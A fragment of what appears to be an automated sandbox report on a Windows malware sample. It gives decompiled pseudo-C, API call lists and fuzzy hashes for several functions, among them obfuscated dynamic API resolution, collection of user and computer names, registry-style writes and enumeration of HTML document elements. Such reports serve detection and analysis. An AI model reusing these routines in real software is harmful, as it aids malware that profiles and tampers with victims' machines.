Part of subcall function 014064EF: lstrlen.KERNEL32(?,?,?,?,00000001,00000000,00000000,?,01401C1A,00000000,?,?,?,014020C2,?,025095B0), ref: 01406506

Part of subcall function 0140A734: HeapFree.KERNEL32(00000000,00000000,01405637,00000000,?,?,00000000), ref: 0140A740

StrTrimA.SHLWAPI(00000000,=,00000000,00000000,?,?,?,014020C2,?,025095B0), ref: 01401C28

Part of subcall function 01406467: lstrlen.KERNEL32(?,00000000,00000000,00000000,?,01401C34,00000000,?,?,014020C2,?,025095B0), ref: 01406471
Part of subcall function 01406467: _snprintf.NTDLL ref: 014064CF

Strings

=, xrefs: 01401C22

Memory Dump Source

Source File: 00000000.00000002.490988576.0000000001401000.00000020.00000001.sdmp, Offset: 01400000, based on PE: true

Associated: 00000000.00000002.490939945.0000000001400000.00000004.00000001.sdmp Download File
Associated: 00000000.00000002.491386586.000000000140C000.00000002.00000001.sdmp Download File
Associated: 00000000.00000002.491449877.000000000140D000.00000004.00000001.sdmp Download File
Associated: 00000000.00000002.491530336.000000000140F000.00000002.00000001.sdmp Download File

Similarity

API ID: lstrlen$Heap$AllocateFreeTrim_snprintflstrcatsprintfstrcpy
String ID: =
API String ID: 2864389247-1428090586
Opcode ID: 3190efaad554f1d5a9647d20f34562ca5818accf391533f9a23a296c87d57431
Instruction ID: 8f78e1ed7d5d0a21968a2a67450f2294ca5651a3dce2c89b4e6c43ded007387b
Opcode Fuzzy Hash: 3190efaad554f1d5a9647d20f34562ca5818accf391533f9a23a296c87d57431
Instruction Fuzzy Hash: 7F11CA77901226774723B7FB9C84C6F3AAD9F65A51316413FF605972A0DE34CC0687A1

Uniqueness

Uniqueness Score: -1.00%

Function 01406891, Relevance: 9.1, APIs: 6, Instructions: 126memoryCOMMON

Download Yara Rule

APIs

SysAllocString.OLEAUT32(00000000), ref: 014068EB
SysAllocString.OLEAUT32(0070006F), ref: 014068FF
SysAllocString.OLEAUT32(00000000), ref: 01406911
SysFreeString.OLEAUT32(00000000), ref: 01406979
SysFreeString.OLEAUT32(00000000), ref: 01406988
SysFreeString.OLEAUT32(00000000), ref: 01406993

Memory Dump Source

Source File: 00000000.00000002.490988576.0000000001401000.00000020.00000001.sdmp, Offset: 01400000, based on PE: true

Associated: 00000000.00000002.490939945.0000000001400000.00000004.00000001.sdmp Download File
Associated: 00000000.00000002.491386586.000000000140C000.00000002.00000001.sdmp Download File
Associated: 00000000.00000002.491449877.000000000140D000.00000004.00000001.sdmp Download File
Associated: 00000000.00000002.491530336.000000000140F000.00000002.00000001.sdmp Download File

Similarity

API ID: String$AllocFree
String ID:
API String ID: 344208780-0
Opcode ID: 12ac7439d809018ed2bfbb5ece675d36c061748f5c7e7611e3cb038bfe770939
Instruction ID: 4249e86d4d10bb20914979aa0c67c7252202309610681fcfc3468182bb32cdf8
Opcode Fuzzy Hash: 12ac7439d809018ed2bfbb5ece675d36c061748f5c7e7611e3cb038bfe770939
Instruction Fuzzy Hash: 82419331900609AFDB02DFFEC844ADFBBBAAF49300F154466EA05EB260DA719915CB91

Uniqueness

Uniqueness Score: -1.00%

Function 0140592D, Relevance: 9.1, APIs: 6, Instructions: 81
libraryloaderCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E0140592D(void* __ecx, intOrPtr _a4, intOrPtr _a8, intOrPtr* _a12) {
				intOrPtr _v8;
				intOrPtr _t23;
				intOrPtr _t26;
				_Unknown_base(*)()* _t28;
				intOrPtr _t30;
				_Unknown_base(*)()* _t32;
				intOrPtr _t33;
				_Unknown_base(*)()* _t35;
				intOrPtr _t36;
				_Unknown_base(*)()* _t38;
				intOrPtr _t39;
				_Unknown_base(*)()* _t41;
				intOrPtr _t44;
				struct HINSTANCE__* _t48;
				intOrPtr _t54;

				_t54 = E0140A71F(0x20);
				if(_t54 == 0) {
					_v8 = 8;
				} else {
					_t23 =  *0x140d2a8; // 0x10fa5a8
					_t1 = _t23 + 0x140e11a; // 0x4c44544e
					_t48 = GetModuleHandleA(_t1);
					_t26 =  *0x140d2a8; // 0x10fa5a8
					_t2 = _t26 + 0x140e769; // 0x7243775a
					_v8 = 0x7f;
					_t28 = GetProcAddress(_t48, _t2);
					 *(_t54 + 0xc) = _t28;
					if(_t28 == 0) {
						L8:
						E0140A734(_t54);
					} else {
						_t30 =  *0x140d2a8; // 0x10fa5a8
						_t5 = _t30 + 0x140e756; // 0x614d775a
						_t32 = GetProcAddress(_t48, _t5);
						 *(_t54 + 0x10) = _t32;
						if(_t32 == 0) {
							goto L8;
						} else {
							_t33 =  *0x140d2a8; // 0x10fa5a8
							_t7 = _t33 + 0x140e40b; // 0x6e55775a
							_t35 = GetProcAddress(_t48, _t7);
							 *(_t54 + 0x14) = _t35;
							if(_t35 == 0) {
								goto L8;
							} else {
								_t36 =  *0x140d2a8; // 0x10fa5a8
								_t9 = _t36 + 0x140e4d2; // 0x4e6c7452
								_t38 = GetProcAddress(_t48, _t9);
								 *(_t54 + 0x18) = _t38;
								if(_t38 == 0) {
									goto L8;
								} else {
									_t39 =  *0x140d2a8; // 0x10fa5a8
									_t11 = _t39 + 0x140e779; // 0x6c43775a
									_t41 = GetProcAddress(_t48, _t11);
									 *(_t54 + 0x1c) = _t41;
									if(_t41 == 0) {
										goto L8;
									} else {
										 *((intOrPtr*)(_t54 + 4)) = _a4;
										 *((intOrPtr*)(_t54 + 8)) = 0x40;
										_t44 = E01406604(_t54, _a8);
										_v8 = _t44;
										if(_t44 != 0) {
											goto L8;
										} else {
											 *_a12 = _t54;
										}
									}
								}
							}
						}
					}
				}
				return _v8;
			}

0x0140593c
0x01405940
0x01405a02
0x01405946
0x01405946
0x0140594b
0x0140595e
0x01405960
0x01405965
0x0140596d
0x01405974
0x01405976
0x0140597b
0x014059fa
0x014059fb
0x0140597d
0x0140597d
0x01405982
0x0140598a
0x0140598c
0x01405991
0x00000000
0x01405993
0x01405993
0x01405998
0x014059a0
0x014059a2
0x014059a7
0x00000000
0x014059a9
0x014059a9
0x014059ae
0x014059b6
0x014059b8
0x014059bd
0x00000000
0x014059bf
0x014059bf
0x014059c4
0x014059cc
0x014059ce
0x014059d3
0x00000000
0x014059d5
0x014059db
0x014059e0
0x014059e7
0x014059ec
0x014059f1
0x00000000
0x014059f3
0x014059f6
0x014059f6
0x014059f1
0x014059d3
0x014059bd
0x014059a7
0x01405991
0x0140597b
0x01405a10

APIs

Part of subcall function 0140A71F: RtlAllocateHeap.NTDLL(00000000,00000000,01405595), ref: 0140A72B

GetModuleHandleA.KERNEL32(4C44544E,00000020,?,74183966,00000000,?,?,?,01408EBD,?,00000001,?,?,00000000,00000000), ref: 01405952
GetProcAddress.KERNEL32(00000000,7243775A), ref: 01405974
GetProcAddress.KERNEL32(00000000,614D775A), ref: 0140598A
GetProcAddress.KERNEL32(00000000,6E55775A), ref: 014059A0
GetProcAddress.KERNEL32(00000000,4E6C7452), ref: 014059B6
GetProcAddress.KERNEL32(00000000,6C43775A), ref: 014059CC

Part of subcall function 01406604: memset.NTDLL ref: 01406683

Memory Dump Source

Source File: 00000000.00000002.490988576.0000000001401000.00000020.00000001.sdmp, Offset: 01400000, based on PE: true

Associated: 00000000.00000002.490939945.0000000001400000.00000004.00000001.sdmp Download File
Associated: 00000000.00000002.491386586.000000000140C000.00000002.00000001.sdmp Download File
Associated: 00000000.00000002.491449877.000000000140D000.00000004.00000001.sdmp Download File
Associated: 00000000.00000002.491530336.000000000140F000.00000002.00000001.sdmp Download File

Similarity

API ID: AddressProc$AllocateHandleHeapModulememset
String ID:
API String ID: 1886625739-0
Opcode ID: 0ea460b55de46a665b51348c97a8e33d357ba39ff7f1e677929d54c0da7c3451
Instruction ID: 1b7aa1056ca9ba5e5372fc072aee35ec75a2182a6e8664a8bbd5182f241fa077
Opcode Fuzzy Hash: 0ea460b55de46a665b51348c97a8e33d357ba39ff7f1e677929d54c0da7c3451
Instruction Fuzzy Hash: AC216DB550030AAFD722EFAFC884D57B7ECEF04210701453AE509DB271EA74E9498F60

Uniqueness

Uniqueness Score: -1.00%

Function 0140853F, Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 167
stringCOMMON

Download Yara Rule

C-Code - Quality: 88%

			E0140853F(void* __ecx, char* _a8, char _a16, intOrPtr* _a20, char _a24) {
				signed int _v8;
				char _v12;
				signed int* _v16;
				char _v284;
				void* __esi;
				char* _t59;
				intOrPtr* _t60;
				intOrPtr _t64;
				char _t65;
				intOrPtr _t68;
				intOrPtr _t69;
				intOrPtr _t71;
				void* _t73;
				signed int _t81;
				void* _t91;
				void* _t92;
				char _t98;
				signed int* _t100;
				intOrPtr* _t101;
				void* _t102;

				_t92 = __ecx;
				_v8 = _v8 & 0x00000000;
				_t98 = _a16;
				if(_t98 == 0) {
					__imp__( &_v284,  *0x140d33c);
					_t91 = 0x80000002;
					L6:
					_t59 = E01409070( &_v284,  &_v284);
					_a8 = _t59;
					if(_t59 == 0) {
						_v8 = 8;
						L29:
						_t60 = _a20;
						if(_t60 != 0) {
							 *_t60 =  *_t60 + 1;
						}
						return _v8;
					}
					_t101 = _a24;
					if(E01406E98(_t92, _t97, _t101, _t91, _t59) != 0) {
						L27:
						E0140A734(_a8);
						goto L29;
					}
					_t64 =  *0x140d278; // 0x2509a98
					_t16 = _t64 + 0xc; // 0x2509b66
					_t65 = E01409070(_t64,  *_t16);
					_a24 = _t65;
					if(_t65 == 0) {
						L14:
						_t29 = _t101 + 0x14; // 0x102
						_t33 = _t101 + 0x10; // 0x3d0140c0
						if(E014022F1(_t97,  *_t33, _t91, _a8,  *0x140d334,  *((intOrPtr*)( *_t29 + 0x28)),  *((intOrPtr*)( *_t29 + 0x2c))) == 0) {
							_t68 =  *0x140d2a8; // 0x10fa5a8
							if(_t98 == 0) {
								_t35 = _t68 + 0x140ea3f; // 0x4d4c4b48
								_t69 = _t35;
							} else {
								_t34 = _t68 + 0x140e8e7; // 0x55434b48
								_t69 = _t34;
							}
							if(E01406C38(_t69,  *0x140d334,  *0x140d338,  &_a24,  &_a16) == 0) {
								if(_t98 == 0) {
									_t71 =  *0x140d2a8; // 0x10fa5a8
									_t44 = _t71 + 0x140e846; // 0x74666f53
									_t73 = E01409070(_t44, _t44);
									_t99 = _t73;
									if(_t73 == 0) {
										_v8 = 8;
									} else {
										_t47 = _t101 + 0x10; // 0x3d0140c0
										E01405D7D( *_t47, _t91, _a8,  *0x140d338, _a24);
										_t49 = _t101 + 0x10; // 0x3d0140c0
										E01405D7D( *_t49, _t91, _t99,  *0x140d330, _a16);
										E0140A734(_t99);
									}
								} else {
									_t40 = _t101 + 0x10; // 0x3d0140c0
									E01405D7D( *_t40, _t91, _a8,  *0x140d338, _a24);
									_t43 = _t101 + 0x10; // 0x3d0140c0
									E01405D7D( *_t43, _t91, _a8,  *0x140d330, _a16);
								}
								if( *_t101 != 0) {
									E0140A734(_a24);
								} else {
									 *_t101 = _a16;
								}
							}
						}
						goto L27;
					}
					_t21 = _t101 + 0x10; // 0x3d0140c0
					_t81 = E01408BC1( *_t21, _t91, _a8, _t65,  &_v16,  &_v12);
					if(_t81 == 0) {
						_t100 = _v16;
						if(_v12 == 0x28) {
							 *_t100 =  *_t100 & _t81;
							_t26 = _t101 + 0x10; // 0x3d0140c0
							E014022F1(_t97,  *_t26, _t91, _a8, _a24, _t100, 0x28);
						}
						E0140A734(_t100);
						_t98 = _a16;
					}
					E0140A734(_a24);
					goto L14;
				}
				if(_t98 <= 8 || _t98 + 0x2a >= 0x104 || StrChrA(_a8, 0x5f) != 0) {
					goto L29;
				} else {
					_t97 = _a8;
					E0140A749(_t98, _a8,  &_v284);
					__imp__(_t102 + _t98 - 0x117,  *0x140d33c);
					 *((char*)(_t102 + _t98 - 0x118)) = 0x5c;
					_t91 = 0x80000003;
					goto L6;
				}
			}

0x0140853f
0x01408548
0x0140854f
0x01408554
0x014085c1
0x014085c7
0x014085cc
0x014085d3
0x014085d8
0x014085dd
0x01408748
0x0140874f
0x0140874f
0x01408754
0x01408756
0x01408756
0x0140875f
0x0140875f
0x014085e3
0x014085ef
0x0140873e
0x01408741
0x00000000
0x01408741
0x014085f5
0x014085fa
0x014085fd
0x01408602
0x01408607
0x01408650
0x01408650
0x01408663
0x0140866d
0x01408673
0x0140867a
0x01408684
0x01408684
0x0140867c
0x0140867c
0x0140867c
0x0140867c
0x014086a6
0x014086ae
0x014086dc
0x014086e1
0x014086e8
0x014086ed
0x014086f1
0x01408723
0x014086f3
0x01408700
0x01408703
0x01408713
0x01408716
0x0140871c
0x0140871c
0x014086b0
0x014086bd
0x014086c0
0x014086d2
0x014086d5
0x014086d5
0x0140872d
0x01408739
0x0140872f
0x01408732
0x01408732
0x0140872d
0x014086a6
0x00000000
0x0140866d
0x01408616
0x01408619
0x01408620
0x01408626
0x01408629
0x0140862b
0x01408637
0x0140863a
0x0140863a
0x01408640
0x01408645
0x01408645
0x0140864b
0x00000000
0x0140864b
0x01408559
0x00000000
0x01408580
0x01408580
0x0140858c
0x0140859f
0x014085a5
0x014085ad
0x00000000
0x014085ad

APIs

StrChrA.SHLWAPI(01403741,0000005F,00000000,00000000,00000104), ref: 01408572
lstrcpy.KERNEL32(?,?), ref: 0140859F

Part of subcall function 01409070: lstrlen.KERNEL32(?,00000000,02509A98,00000000,01408808,02509C76,?,?,?,?,?,63699BC3,00000005,0140D00C), ref: 01409077
Part of subcall function 01409070: mbstowcs.NTDLL ref: 014090A0
Part of subcall function 01409070: memset.NTDLL ref: 014090B2

Part of subcall function 01405D7D: lstrlenW.KERNEL32(?,?,?,01408708,3D0140C0,80000002,01403741,0140A513,74666F53,4D4C4B48,0140A513,?,3D0140C0,80000002,01403741,?), ref: 01405DA2

Part of subcall function 0140A734: HeapFree.KERNEL32(00000000,00000000,01405637,00000000,?,?,00000000), ref: 0140A740

lstrcpy.KERNEL32(?,00000000), ref: 014085C1

Strings

(, xrefs: 01408622
\, xrefs: 014085A5

Memory Dump Source

Source File: 00000000.00000002.490988576.0000000001401000.00000020.00000001.sdmp, Offset: 01400000, based on PE: true

Associated: 00000000.00000002.490939945.0000000001400000.00000004.00000001.sdmp Download File
Associated: 00000000.00000002.491386586.000000000140C000.00000002.00000001.sdmp Download File
Associated: 00000000.00000002.491449877.000000000140D000.00000004.00000001.sdmp Download File
Associated: 00000000.00000002.491530336.000000000140F000.00000002.00000001.sdmp Download File

Similarity

API ID: lstrcpylstrlen$FreeHeapmbstowcsmemset
String ID: ($\
API String ID: 3924217599-1512714803
Opcode ID: ba4abe44aa7d22e2dc86bfe822d4c266376cfb1723505eda24d16677435600e8
Instruction ID: 90e37f0748a5a58b7547694cf307c67cf37fd4fec38792361f332a746bb3683f
Opcode Fuzzy Hash: ba4abe44aa7d22e2dc86bfe822d4c266376cfb1723505eda24d16677435600e8
Instruction Fuzzy Hash: B2517B7290020AEFDF23AFA6DE44D9A7BB9EF14240F00853AFA15572B4D735D926DB10

Uniqueness

Uniqueness Score: -1.00%

Function 0140A199, Relevance: 7.6, APIs: 5, Instructions: 83
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E0140A199() {
				long _v8;
				long _v12;
				int _v16;
				long _t39;
				long _t43;
				signed int _t47;
				short _t51;
				signed int _t52;
				int _t56;
				int _t57;
				char* _t64;
				short* _t67;

				_v16 = 0;
				_v8 = 0;
				GetUserNameW(0,  &_v8);
				_t39 = _v8;
				if(_t39 != 0) {
					_v12 = _t39;
					_v8 = 0;
					GetComputerNameW(0,  &_v8);
					_t43 = _v8;
					if(_t43 != 0) {
						_v12 = _v12 + _t43 + 2;
						_t64 = E0140A71F(_v12 + _t43 + 2 << 2);
						if(_t64 != 0) {
							_t47 = _v12;
							_t67 = _t64 + _t47 * 2;
							_v8 = _t47;
							if(GetUserNameW(_t67,  &_v8) == 0) {
								L7:
								E0140A734(_t64);
							} else {
								_t51 = 0x40;
								 *((short*)(_t67 + _v8 * 2 - 2)) = _t51;
								_t52 = _v8;
								_v12 = _v12 - _t52;
								if(GetComputerNameW( &(_t67[_t52]),  &_v12) == 0) {
									goto L7;
								} else {
									_t56 = _v12 + _v8;
									_t31 = _t56 + 2; // 0x1401fd4
									_v12 = _t56;
									_t57 = WideCharToMultiByte(0xfde9, 0, _t67, _t56, _t64, _t56 + _t31, 0, 0);
									_v8 = _t57;
									if(_t57 == 0) {
										goto L7;
									} else {
										_t64[_t57] = 0;
										_v16 = _t64;
									}
								}
							}
						}
					}
				}
				return _v16;
			}

0x0140a1a7
0x0140a1aa
0x0140a1ad
0x0140a1b3
0x0140a1b8
0x0140a1be
0x0140a1c6
0x0140a1c9
0x0140a1cf
0x0140a1d4
0x0140a1e1
0x0140a1ee
0x0140a1f2
0x0140a1f4
0x0140a1f8
0x0140a1fb
0x0140a20b
0x0140a25e
0x0140a25f
0x0140a20d
0x0140a212
0x0140a213
0x0140a218
0x0140a21b
0x0140a22e
0x00000000
0x0140a230
0x0140a233
0x0140a238
0x0140a246
0x0140a249
0x0140a24f
0x0140a254
0x00000000
0x0140a256
0x0140a256
0x0140a259
0x0140a259
0x0140a254
0x0140a22e
0x0140a264
0x0140a265
0x0140a1d4
0x0140a26b

APIs

GetUserNameW.ADVAPI32(00000000,01401FD2), ref: 0140A1AD
GetComputerNameW.KERNEL32(00000000,01401FD2), ref: 0140A1C9

Part of subcall function 0140A71F: RtlAllocateHeap.NTDLL(00000000,00000000,01405595), ref: 0140A72B

GetUserNameW.ADVAPI32(00000000,01401FD2), ref: 0140A203
GetComputerNameW.KERNEL32(01401FD2,?), ref: 0140A226
WideCharToMultiByte.KERNEL32(0000FDE9,00000000,00000000,01401FD2,00000000,01401FD4,00000000,00000000,?,?,01401FD2), ref: 0140A249

Memory Dump Source

Source File: 00000000.00000002.490988576.0000000001401000.00000020.00000001.sdmp, Offset: 01400000, based on PE: true

Associated: 00000000.00000002.490939945.0000000001400000.00000004.00000001.sdmp Download File
Associated: 00000000.00000002.491386586.000000000140C000.00000002.00000001.sdmp Download File
Associated: 00000000.00000002.491449877.000000000140D000.00000004.00000001.sdmp Download File
Associated: 00000000.00000002.491530336.000000000140F000.00000002.00000001.sdmp Download File

Similarity

API ID: Name$ComputerUser$AllocateByteCharHeapMultiWide
String ID:
API String ID: 3850880919-0
Opcode ID: 1fc99ae323f554822a838b690adcc83fd8f3e14e42dd8ed6d48ba2f9b43595d2
Instruction ID: b7797fdda51b4b2567452ffdd507388245f4527b0fa56e53a64ff810bb825806
Opcode Fuzzy Hash: 1fc99ae323f554822a838b690adcc83fd8f3e14e42dd8ed6d48ba2f9b43595d2
Instruction Fuzzy Hash: D721ECB6901218FFDB12DFEAC9C49EEBBB8EF44204B2444BAE605E7254D6319B44DB50

Uniqueness

Uniqueness Score: -1.00%

Function 01403DE9, Relevance: 7.5, APIs: 5, Instructions: 45
COMMON

Download Yara Rule

C-Code - Quality: 58%

			E01403DE9(void* __eax, intOrPtr _a4, intOrPtr _a8) {
				void* __esi;
				long _t10;
				void* _t18;
				void* _t22;

				_t9 = __eax;
				_t22 = __eax;
				if(_a4 != 0 && E01405AF1(__eax + 4, _t18, _a4, __eax, __eax + 4) == 0) {
					L9:
					return GetLastError();
				}
				_t10 = E0140A81C(_t9, _t18, _t22, _a8);
				if(_t10 == 0) {
					ResetEvent( *(_t22 + 0x1c));
					ResetEvent( *(_t22 + 0x20));
					_push(0);
					_push(0);
					_push(0xffffffff);
					_push(0);
					_push( *((intOrPtr*)(_t22 + 0x18)));
					if( *0x140d128() != 0) {
						SetEvent( *(_t22 + 0x1c));
						goto L7;
					} else {
						_t10 = GetLastError();
						if(_t10 == 0x3e5) {
							L7:
							_t10 = 0;
						}
					}
				}
				if(_t10 == 0xffffffff) {
					goto L9;
				}
				return _t10;
			}

0x01403de9
0x01403df6
0x01403df8
0x01403e5b
0x00000000
0x01403e5b
0x01403e10
0x01403e17
0x01403e23
0x01403e28
0x01403e2a
0x01403e2c
0x01403e2e
0x01403e30
0x01403e32
0x01403e3e
0x01403e4e
0x00000000
0x01403e40
0x01403e40
0x01403e47
0x01403e54
0x01403e54
0x01403e54
0x01403e47
0x01403e3e
0x01403e59
0x00000000
0x00000000
0x01403e5f

APIs

ResetEvent.KERNEL32(?,00000008,?,?,00000102,014067B8,?,?,00000000,00000000), ref: 01403E23
ResetEvent.KERNEL32(?), ref: 01403E28
GetLastError.KERNEL32 ref: 01403E40
GetLastError.KERNEL32(?,?,00000102,014067B8,?,?,00000000,00000000), ref: 01403E5B

Part of subcall function 01405AF1: lstrlen.KERNEL32(00000000,00000008,?,75144D40,?,?,01403E08,?,?,?,?,00000102,014067B8,?,?,00000000), ref: 01405AFD
Part of subcall function 01405AF1: memcpy.NTDLL(00000000,00000000,00000000,00000000,00000001,00000001,?,?,01403E08,?,?,?,?,00000102,014067B8,?), ref: 01405B5B
Part of subcall function 01405AF1: lstrcpy.KERNEL32(00000000,00000000), ref: 01405B6B

SetEvent.KERNEL32(?), ref: 01403E4E

Memory Dump Source

Source File: 00000000.00000002.490988576.0000000001401000.00000020.00000001.sdmp, Offset: 01400000, based on PE: true

Associated: 00000000.00000002.490939945.0000000001400000.00000004.00000001.sdmp Download File
Associated: 00000000.00000002.491386586.000000000140C000.00000002.00000001.sdmp Download File
Associated: 00000000.00000002.491449877.000000000140D000.00000004.00000001.sdmp Download File
Associated: 00000000.00000002.491530336.000000000140F000.00000002.00000001.sdmp Download File

Similarity

API ID: Event$ErrorLastReset$lstrcpylstrlenmemcpy
String ID:
API String ID: 1449191863-0
Opcode ID: ef0a62f7963db34c455d1a02d5ce5b34af3159ee1f89f0a961980e829e11096d
Instruction ID: 09be4058ed9ea865dd47c4c56760f6cef5c2b918073ca0e866ba7e1fdf48d0e5
Opcode Fuzzy Hash: ef0a62f7963db34c455d1a02d5ce5b34af3159ee1f89f0a961980e829e11096d
Instruction Fuzzy Hash: 81017831100201AEDA33AEA7DD84F1BBAA8BB89B74F204B36E651911F0C730D804DAA0

Uniqueness

Uniqueness Score: -1.00%

Function 01403E69, Relevance: 7.5, APIs: 5, Instructions: 37
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E01403E69(intOrPtr _a4) {
				void* _t2;
				unsigned int _t4;
				void* _t5;
				long _t6;
				void* _t7;
				void* _t15;

				_t2 = CreateEventA(0, 1, 0, 0);
				 *0x140d26c = _t2;
				if(_t2 == 0) {
					return GetLastError();
				}
				_t4 = GetVersion();
				if(_t4 != 5) {
					L4:
					if(_t15 <= 0) {
						_t5 = 0x32;
						return _t5;
					}
					L5:
					 *0x140d25c = _t4;
					_t6 = GetCurrentProcessId();
					 *0x140d258 = _t6;
					 *0x140d264 = _a4;
					_t7 = OpenProcess(0x10047a, 0, _t6);
					 *0x140d254 = _t7;
					if(_t7 == 0) {
						 *0x140d254 =  *0x140d254 | 0xffffffff;
					}
					return 0;
				}
				if(_t4 >> 8 > 0) {
					goto L5;
				}
				_t15 = _t4 - _t4;
				goto L4;
			}

0x01403e71
0x01403e77
0x01403e7e
0x00000000
0x01403ed8
0x01403e80
0x01403e88
0x01403e95
0x01403e95
0x01403ed5
0x00000000
0x01403ed5
0x01403e97
0x01403e97
0x01403e9c
0x01403eae
0x01403eb3
0x01403eb9
0x01403ebf
0x01403ec6
0x01403ec8
0x01403ec8
0x00000000
0x01403ecf
0x01403e91
0x00000000
0x00000000
0x01403e93
0x00000000

APIs

CreateEventA.KERNEL32(00000000,00000001,00000000,00000000,0140131F,?,?,00000001,?,?,?,01404EF2,?), ref: 01403E71
GetVersion.KERNEL32(?,00000001,?,?,?,01404EF2,?), ref: 01403E80
GetCurrentProcessId.KERNEL32(?,00000001,?,?,?,01404EF2,?), ref: 01403E9C
OpenProcess.KERNEL32(0010047A,00000000,00000000,?,00000001,?,?,?,01404EF2,?), ref: 01403EB9
GetLastError.KERNEL32(?,00000001,?,?,?,01404EF2,?), ref: 01403ED8

Memory Dump Source

Source File: 00000000.00000002.490988576.0000000001401000.00000020.00000001.sdmp, Offset: 01400000, based on PE: true

Associated: 00000000.00000002.490939945.0000000001400000.00000004.00000001.sdmp Download File
Associated: 00000000.00000002.491386586.000000000140C000.00000002.00000001.sdmp Download File
Associated: 00000000.00000002.491449877.000000000140D000.00000004.00000001.sdmp Download File
Associated: 00000000.00000002.491530336.000000000140F000.00000002.00000001.sdmp Download File

Similarity

API ID: Process$CreateCurrentErrorEventLastOpenVersion
String ID:
API String ID: 2270775618-0
Opcode ID: 62f9d4eee786f5be4f4bb5e5c556adbf3cefe90eb8d791ba27eb6b1c8dbb0747
Instruction ID: d1c343d15b356b32cbe628389f1c57bc1cc0b226909d411a6077ef371416405b
Opcode Fuzzy Hash: 62f9d4eee786f5be4f4bb5e5c556adbf3cefe90eb8d791ba27eb6b1c8dbb0747
Instruction Fuzzy Hash: D1F081B0A403019FD733AFFB9A09B163F51B781721F00062AE542C62F8D7709845CB55

Uniqueness

Uniqueness Score: -1.00%

Function 01406F3A, Relevance: 6.2, APIs: 4, Instructions: 154
memorystringCOMMON

Download Yara Rule

C-Code - Quality: 46%

			E01406F3A(intOrPtr* __eax) {
				void* _v8;
				WCHAR* _v12;
				void* _v16;
				char _v20;
				void* _v24;
				intOrPtr _v28;
				void* _v32;
				intOrPtr _v40;
				short _v48;
				intOrPtr _v56;
				short _v64;
				intOrPtr* _t54;
				intOrPtr* _t56;
				intOrPtr _t57;
				intOrPtr* _t58;
				intOrPtr* _t60;
				void* _t61;
				intOrPtr* _t63;
				intOrPtr* _t65;
				short _t67;
				intOrPtr* _t68;
				intOrPtr* _t70;
				intOrPtr* _t72;
				intOrPtr* _t75;
				intOrPtr* _t77;
				intOrPtr _t79;
				intOrPtr* _t83;
				intOrPtr* _t87;
				intOrPtr _t103;
				intOrPtr _t109;
				void* _t118;
				void* _t122;
				void* _t123;
				intOrPtr _t130;

				_t123 = _t122 - 0x3c;
				_push( &_v8);
				_push(__eax);
				_t118 =  *((intOrPtr*)( *__eax + 0x48))();
				if(_t118 >= 0) {
					_t54 = _v8;
					_t103 =  *0x140d2a8; // 0x10fa5a8
					_t5 = _t103 + 0x140e038; // 0x3050f485
					_t118 =  *((intOrPtr*)( *_t54))(_t54, _t5,  &_v32);
					_t56 = _v8;
					_t57 =  *((intOrPtr*)( *_t56 + 8))(_t56);
					if(_t118 >= 0) {
						__imp__#2(0x140c290);
						_v28 = _t57;
						if(_t57 == 0) {
							_t118 = 0x8007000e;
						} else {
							_t60 = _v32;
							_t61 =  *((intOrPtr*)( *_t60 + 0xbc))(_t60, _v28,  &_v24);
							_t87 = __imp__#6;
							_t118 = _t61;
							if(_t118 >= 0) {
								_t63 = _v24;
								_t118 =  *((intOrPtr*)( *_t63 + 0x24))(_t63,  &_v20);
								if(_t118 >= 0) {
									_t130 = _v20;
									if(_t130 != 0) {
										_t67 = 3;
										_v64 = _t67;
										_v48 = _t67;
										_v56 = 0;
										_v40 = 0;
										if(_t130 > 0) {
											while(1) {
												_t68 = _v24;
												asm("movsd");
												asm("movsd");
												asm("movsd");
												asm("movsd");
												_t123 = _t123;
												asm("movsd");
												asm("movsd");
												asm("movsd");
												asm("movsd");
												_t118 =  *((intOrPtr*)( *_t68 + 0x2c))(_t68,  &_v8);
												if(_t118 < 0) {
													goto L16;
												}
												_t70 = _v8;
												_t109 =  *0x140d2a8; // 0x10fa5a8
												_t28 = _t109 + 0x140e0bc; // 0x3050f1ff
												_t118 =  *((intOrPtr*)( *_t70))(_t70, _t28,  &_v16);
												if(_t118 >= 0) {
													_t75 = _v16;
													_t118 =  *((intOrPtr*)( *_t75 + 0x34))(_t75,  &_v12);
													if(_t118 >= 0 && _v12 != 0) {
														_t79 =  *0x140d2a8; // 0x10fa5a8
														_t33 = _t79 + 0x140e078; // 0x76006f
														if(lstrcmpW(_v12, _t33) == 0) {
															_t83 = _v16;
															 *((intOrPtr*)( *_t83 + 0x114))(_t83);
														}
														 *_t87(_v12);
													}
													_t77 = _v16;
													 *((intOrPtr*)( *_t77 + 8))(_t77);
												}
												_t72 = _v8;
												 *((intOrPtr*)( *_t72 + 8))(_t72);
												_v40 = _v40 + 1;
												if(_v40 < _v20) {
													continue;
												}
												goto L16;
											}
										}
									}
								}
								L16:
								_t65 = _v24;
								 *((intOrPtr*)( *_t65 + 8))(_t65);
							}
							 *_t87(_v28);
						}
						_t58 = _v32;
						 *((intOrPtr*)( *_t58 + 8))(_t58);
					}
				}
				return _t118;
			}

0x01406f3f
0x01406f48
0x01406f49
0x01406f4d
0x01406f53
0x01406f59
0x01406f62
0x01406f68
0x01406f72
0x01406f74
0x01406f7a
0x01406f7f
0x01406f8a
0x01406f90
0x01406f95
0x014070b7
0x01406f9b
0x01406f9b
0x01406fa8
0x01406fae
0x01406fb4
0x01406fb8
0x01406fbe
0x01406fcb
0x01406fcf
0x01406fd5
0x01406fd8
0x01406fe0
0x01406fe1
0x01406fe5
0x01406fe9
0x01406fec
0x01406fef
0x01406ff5
0x01406ffe
0x01407004
0x01407005
0x01407008
0x01407009
0x0140700a
0x01407012
0x01407013
0x01407014
0x01407016
0x0140701a
0x0140701e
0x00000000
0x00000000
0x01407024
0x0140702d
0x01407033
0x0140703d
0x01407041
0x01407043
0x01407050
0x01407054
0x0140705c
0x01407061
0x01407073
0x01407075
0x0140707b
0x0140707b
0x01407084
0x01407084
0x01407086
0x0140708c
0x0140708c
0x0140708f
0x01407095
0x01407098
0x014070a1
0x00000000
0x00000000
0x00000000
0x014070a1
0x01406ff5
0x01406fef
0x01406fd8
0x014070a7
0x014070a7
0x014070ad
0x014070ad
0x014070b3
0x014070b3
0x014070bc
0x014070c2
0x014070c2
0x01406f7f
0x014070cb

APIs

SysAllocString.OLEAUT32(0140C290), ref: 01406F8A
lstrcmpW.KERNEL32(00000000,0076006F), ref: 0140706B
